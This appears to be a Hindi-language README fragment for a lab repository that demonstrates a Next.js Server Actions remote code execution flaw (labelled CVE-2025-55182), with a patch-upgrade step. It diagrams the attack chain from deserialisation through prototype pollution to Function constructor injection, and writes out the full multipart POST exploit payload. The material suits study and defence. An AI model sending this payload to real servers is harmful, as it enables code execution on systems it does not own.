┌─────────────────────────┐
                    │     Attacker            │
                    └───────────┬─────────────┘
                                │
                    POST Request + Next-Action Header
                    multipart/form-data payload
                                │
                                ▼
┌───────────────────────────────────────────────────────────┐
│                     Next.js Server                        │
├───────────────────────────────────────────────────────────┤
│  1. Next-Action हेडर → Server Action ट्रिगर                  │
│  2. multipart पेलोड → Flight प्रोटोकॉल डिसेरियलाइज़ेशन                │
│  3. Fake Chunk ऑब्जेक्ट की then() विधि कॉल                       │
│  4. __proto__ संदर्भ → प्रोटोटाइप प्रदूषण                           │
│  5. Function कंस्ट्रक्टर इंजेक्शन → RCE                               │
└───────────────────────────────────────────────────────────┘

POST / HTTP/1.1
Next-Action: x
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="0"

{"_response":{"_formData":{"get":"Function"}},"then":"$1:__proto__:then"}
------Boundary
Content-Disposition: form-data; name="1"

$@0
------Boundary--

cd vulnerable-app

# निर्भरताएँ स्थापित करें
npm install

# डेवलपमेंट सर्वर प्रारंभ करें
npm run dev

react-rce/
├── README.md
├── vulnerable-app/          # कमजोर Next.js ऐप
│   ├── package.json         # Next.js 15.0.3 (कमजोर संस्करण)
│   └── app/
│       ├── page.js          # UI (CVE जानकारी + RCE प्रदर्शन)
│       ├── actions.js       # Server Actions
│       └── globals.css
└── exploit/                 # आक्रमण उपकरण (वैकल्पिक)
    └── exploit.py           # CVE-2025-55182 PoC

# पैच संस्करण में अपग्रेड करें
npm install [email protected] [email protected] [email protected]